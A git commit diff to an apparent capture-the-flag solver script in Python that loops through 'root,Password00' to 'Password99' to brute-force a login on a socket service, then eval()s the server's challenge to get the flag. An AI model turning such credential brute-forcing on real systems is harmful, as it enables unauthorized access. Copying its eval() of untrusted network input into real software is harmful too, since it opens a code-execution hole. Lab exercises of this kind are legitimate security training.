solved and updated with enumeration

This commit is contained in:
2024-11-09 23:02:43 +09:00
parent fd8082a740
commit 7f126ce5f8

View File

@ -6,27 +6,25 @@ PORT = 64984 # TODO
def get_flag(): def get_flag():
for i in range(100): for i in range(100):
time.sleep(2)
credentials = "root,Password"+str("%02d" % i) credentials = "root,Password"+str("%02d" % i)
print(credentials)
try: try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT)) s.connect((HOST, PORT))
sf = s.makefile('rw') # we use a file abstraction for the sockets sf = s.makefile('rw') # we use a file abstraction for the sockets
print(sf.readline().rstrip('\n')) tmp = sf.readline().rstrip('\n')
sf.write("{}\n".format(credentials)) sf.write("{}\n".format(credentials))
sf.flush() sf.flush()
data = sf.readline().rstrip('\n') data = sf.readline().rstrip('\n')
resp = eval(data) resp = eval(data)
sf.write("{}\n".format(resp)) sf.write("{}\n".format(resp))
sf.flush() sf.flush()
result = sf.readline().rstrip('\n') ans = sf.readline().rstrip('\n')
if "login" in result: if "login" in ans:
print(sf.readline().rstrip('\n')) res = sf.readline().rstrip('\n')
break return res
except: except:
pass pass
if __name__ == '__main__': if __name__ == '__main__':
get_flag() print(get_flag())